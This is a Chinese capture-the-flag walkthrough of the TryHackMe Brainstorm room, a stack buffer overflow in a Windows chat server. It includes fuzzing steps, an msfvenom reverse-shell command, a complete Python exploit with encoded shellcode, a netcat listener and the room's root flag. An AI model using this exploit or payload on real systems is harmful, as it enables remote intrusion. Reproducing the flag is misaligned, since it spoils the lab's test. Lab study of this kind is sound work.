【THM】Brainstorm-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/brainstorm

通过学习相关知识点:对目标程序进行逆向工程,并编写脚本来渗透Windows靶机。

image

部署靶机和扫描目标网络

本小节将完成虚拟靶机的部署并使用nmap扫描网络以枚举目标端口。

注意:此靶机不响应ping(ICMP)。

使用nmap进行端口扫描

nmap -sS -Pn -p- -T5 $target_ip

有效结果如下:

21/tcp   open  ftp
3389/tcp open  ms-wbt-server
9999/tcp open  abyss

答题

image

找到目标文件

让我们继续枚举!

答题

anonymous匿名登陆目标机的ftp服务

ftp $target_ip
ftp> passive //设置传输模式为被动模式,方便我们查看
ftp> dir
ftp> binary  // 设置传输方式为binary  

image

image

目标文件名为:chatserver.exe

image

获取目标访问权限

将上一小节中所下载的exe文件以及dll文件丢到本地Windows虚拟机中分析(使用OllyDBG进行逆向分析)。

本地Windows虚拟机的环境配置

在本地Windows虚拟机中安装Immunity Debugger(并配置mono脚本)

Immunity Debugger下载链接:https://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/Immunity-Debugger.shtml

mona脚本链接:https://github.com/corelan/mona

下载以下文件即可(此处的python-2.7.18是32位版本):

image

最后把mona.py拷贝进Immunity Debugger安装目录的PyCommands文件夹下即可。

image

本地Windows虚拟机相关设置—查看ip地址、关闭防火墙

image

在本地kali机中输入以下命令

python -m http.server 8888

image

在本地Windows虚拟机中访问并下载chatserver.exe、essfunc.dll,查看chatserver.exe的运行界面。

image

通过之前的nmap扫描,我们知道未知端口9999,该端口很可能就是目标机的chatserver.exe程序所对应的端口,我们可以尝试使用Netcat访问目标机的9999端口。

image

我们发现目标程序在运行时 有两个输入缓冲区,其中username所对应的输入缓冲区被设置为最大不超过20个字符(超过部分的字符并不占用缓冲区内存),而message所对应的输入缓冲区并没有做明显限制,也就是说message所对应的输入缓冲区可能存在溢出。

注意:我们需要先输入username后才能输入massage

初步fuzzing测试

接下来我们将对message输入缓冲区做fuzzing测试(此处是直接选择一个较大值2500*A进行测试)

python -c "print('A'*2500)"
#最终发现当我们想message输入2500*A之后,目标程序发生自动崩溃。

image

下图中的ip为本地Windows虚拟机的ip

image

定位确切EIP偏移量并控制EIP

接下来我们要定位确切的EIP偏移量,我们先使用msf中的pattern_create.rb脚本生成一个随机字符串(将-l设置为前一步骤得到的2500字节长度值)。

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500
#也可以在Immunity Debugger的命令栏中输入命令:!mona pattern_create 2500

image

和之前一样,手动将以上随机字符串发送到目标程序的message缓冲区中(此处要先在本地Windows虚拟机中用Immunity Debugger运行目标exe),当程序再次崩溃时,我们需要检查并记录下本地Windows虚拟机的Immunity Debugger中的EIP寄存器值。

image

image

我们可以看到EIP值为31704330,现在我们用msf pattern offset脚本来查看我们所需要的确切的EIP偏移量(也就是能够使缓冲区溢出的精确的字符串长度值)。

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 31704330

image

我们成功得到能够使缓冲区溢出的精确的字符串长度值:2012。

现在我们需要构建exp脚本,此处参考:https://github.com/gh0x0st/Buffer_Overflow

我们需要在exp脚本中添加本地Windows虚拟机的ip,还需要添加user和message以便我们向应用程序发送数据,结合前面得到的能够使目标程序崩溃的字符长度-2012个字符大小,我们得到以下初始脚本(exp.py):

#!/usr/bin/python

import socket
import time
import sys

ip = "192.168.101.23"
port = 9999

username = b"Hekeats"
offset = 2012
message = b"A" * offset
retn = b""
padding = b""
payload = b""

message += retn
message += padding
message += payload
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print("Sending buffer")
    s.connect((ip,port))
    s.recv(1024)
    s.recv(1024)
    s.send(username + b"\r\n")
    time.sleep(1)
    s.send(message + b"\r\n")
    s.recv(1024)
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

在kali机上执行以上初始exp脚本,能够使目标程序崩溃(注意:每次都需要先用本地Windows虚拟机中的Immunity Debugger运行目标程序,再在本地kali机中执行exp脚本,这样脚本才会生效)。

python3 exp.py

image

接下来我们要控制EIP,我们可以通过在 2012*A 的末尾添加四个 B 字符来确认我们能够覆盖 EIP。

#基于初始exp.py修改
retn = b"B" * 4

再次执行exp脚本(先用本地Windows虚拟机中的Immunity Debugger运行目标程序),查看EIP寄存器值——发现成功覆盖(42424242,字符B对应的十六进制数为0x42)。

image

检查坏字符

接下来我们要检查坏字符。

先使用以下命令在Immunity Debugger的命令栏中配置mona.py工作目录。

!mona config -set workingfolder c:\mona\%p

image

再使用以下命令新建一个坏字符数组。

!mona bytearray -b "\x00"

image

使用以下python代码生成一串与前面的坏字符数组相同的字符串。

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

image

用以上输出结果修改初始exp脚本中的payload变量 并再次执行exp脚本使目标程序崩溃,记录下Immunity Debugger中的esp address。

#基于初始exp.py修改
offset = 2012
message = b"A" * offset
retn = b"B" * 4
padding = b""
payload = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

message += retn
message += padding
message += payload

image

最后执行mona的比较命令得到坏字符比较结果。

# !mona compare -f C:\mona\chatserver\bytearray.bin -a [esp address]
!mona compare -f C:\mona\chatserver\bytearray.bin -a 00A1EEA8

image

由上图可知 最后我们得到的输出状态为Unmodified,所以坏字符只有最开始生成坏字符数组时所排除的"\x00"

寻找跳跃点

我们接下来需要寻找跳跃点,并且找到的地址还要使用小端字节序表示——此步骤是对目标程序进行分析的最后一步,在下一小节中我们将对本实验的虚拟靶机进行漏洞利用。

在目标exe 处于运行状态或处于崩溃状态时,运行以下 mona jmp 命令,确保使用我们已经找到的所有坏字符来更新 -cpb 选项即可:

!mona jmp -r esp -cpb "\x00"

image

选择地址0x625014df,使用小端字节序表示为:\xdf\x14\x50\x62 ——此地址用于填充exp脚本中的retn变量

生成shellcode

我们接下来使用MSFVenom生成一个排除坏字符的shellcode。(此处ip是本地kali机中的TryHackMe vpn ip)

#msfvenom -p windows/shell_reverse_tcp LHOST=$local-ip LPORT=4444 -e x86/shikata_ga_nai -b "\x00"  -f python -v payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.13.16.58 LPORT=4444 -e x86/shikata_ga_nai -b "\x00"  -f python -v payload
#-p 指定负载类型,在本例中为反向shell
#LHOST 指定要连接的本地主机 IP 地址 10.13.16.58
#LPORT 指定要连接的本地机端口
#-f 指定格式
#-b 指定排除坏字符
#-e 指定编码器
#-v 指定用于 shellcode 的变量名

image

复制以上输出结果到exp脚本的payload变量中,为了稳定,我们还需要添加NOP。

padding = b"\x90" * 16

现在我们知道了用于构建exp脚本的所有有效信息(我们要针对本实验的虚拟靶机中的目标程序,此处脚本中的$target-ip要使用实验房间所提供的靶机ip),最终可用的exp.py脚本内容如下所示:

#!/usr/bin/python
import socket
import time
import sys

ip = "$target-ip"
port = 9999

username = b"Hekeats"
offset = 2012
message = b"A" * offset
retn = b"\xdf\x14\x50\x62"
padding = b"\x90" * 16
payload =  b""
payload += b"\xb8\x7f\xb9\x1c\xa4\xdd\xc0\xd9\x74\x24\xf4"
payload += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x45\x0e"
payload += b"\x03\x3a\xb7\xfe\x51\x38\x2f\x7c\x99\xc0\xb0"
payload += b"\xe1\x13\x25\x81\x21\x47\x2e\xb2\x91\x03\x62"
payload += b"\x3f\x59\x41\x96\xb4\x2f\x4e\x99\x7d\x85\xa8"
payload += b"\x94\x7e\xb6\x89\xb7\xfc\xc5\xdd\x17\x3c\x06"
payload += b"\x10\x56\x79\x7b\xd9\x0a\xd2\xf7\x4c\xba\x57"
payload += b"\x4d\x4d\x31\x2b\x43\xd5\xa6\xfc\x62\xf4\x79"
payload += b"\x76\x3d\xd6\x78\x5b\x35\x5f\x62\xb8\x70\x29"
payload += b"\x19\x0a\x0e\xa8\xcb\x42\xef\x07\x32\x6b\x02"
payload += b"\x59\x73\x4c\xfd\x2c\x8d\xae\x80\x36\x4a\xcc"
payload += b"\x5e\xb2\x48\x76\x14\x64\xb4\x86\xf9\xf3\x3f"
payload += b"\x84\xb6\x70\x67\x89\x49\x54\x1c\xb5\xc2\x5b"
payload += b"\xf2\x3f\x90\x7f\xd6\x64\x42\xe1\x4f\xc1\x25"
payload += b"\x1e\x8f\xaa\x9a\xba\xc4\x47\xce\xb6\x87\x0f"
payload += b"\x23\xfb\x37\xd0\x2b\x8c\x44\xe2\xf4\x26\xc2"
payload += b"\x4e\x7c\xe1\x15\xb0\x57\x55\x89\x4f\x58\xa6"
payload += b"\x80\x8b\x0c\xf6\xba\x3a\x2d\x9d\x3a\xc2\xf8"
payload += b"\x32\x6a\x6c\x53\xf3\xda\xcc\x03\x9b\x30\xc3"
payload += b"\x7c\xbb\x3b\x09\x15\x56\xc6\xda\x10\xaa\xd8"
payload += b"\x20\x4d\xb6\xd8\x45\xd1\x3f\x3e\x0f\xf9\x69"
payload += b"\xe9\xb8\x60\x30\x61\x58\x6c\xee\x0c\x5a\xe6"
payload += b"\x1d\xf1\x15\x0f\x6b\xe1\xc2\xff\x26\x5b\x44"
payload += b"\xff\x9c\xf3\x0a\x92\x7a\x03\x44\x8f\xd4\x54"
payload += b"\x01\x61\x2d\x30\xbf\xd8\x87\x26\x42\xbc\xe0"
payload += b"\xe2\x99\x7d\xee\xeb\x6c\x39\xd4\xfb\xa8\xc2"
payload += b"\x50\xaf\x64\x95\x0e\x19\xc3\x4f\xe1\xf3\x9d"
payload += b"\x3c\xab\x93\x58\x0f\x6c\xe5\x64\x5a\x1a\x09"
payload += b"\xd4\x33\x5b\x36\xd9\xd3\x6b\x4f\x07\x44\x93"
payload += b"\x9a\x83\x74\xde\x86\xa2\x1c\x87\x53\xf7\x40"
payload += b"\x38\x8e\x34\x7d\xbb\x3a\xc5\x7a\xa3\x4f\xc0"
payload += b"\xc7\x63\xbc\xb8\x58\x06\xc2\x6f\x58\x03"

message += retn
message += padding
message += payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print("Sending buffer")
    s.connect((ip,port))
    s.recv(1024)
    s.recv(1024)
    s.send(username + b"\r\n")
    time.sleep(1)
    s.send(message + b"\r\n")
    s.recv(1024)
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

我们在kali机中设置一个Netcat监听器,再次针对目标程序执行最终的exp.py即可获取目标访问权限(此处针对的是本实验的虚拟靶机中的目标程序),我们使用已获得的shell界面查看root.txt内容以完成本次实验即可。

nc -lvnp 4444
#-l 侦听传入的连接
#-v 设置为详细输出
#-n 跳过 DNS 查询
#-p 指定要监听的端口

image

image

image

root.txt内容为:5b1001de5a44eca47eee71e7942a8f8a

答题

image

posted @ 2023-03-02 23:14  Hekeatsll  阅读(297)  评论(0编辑  收藏  举报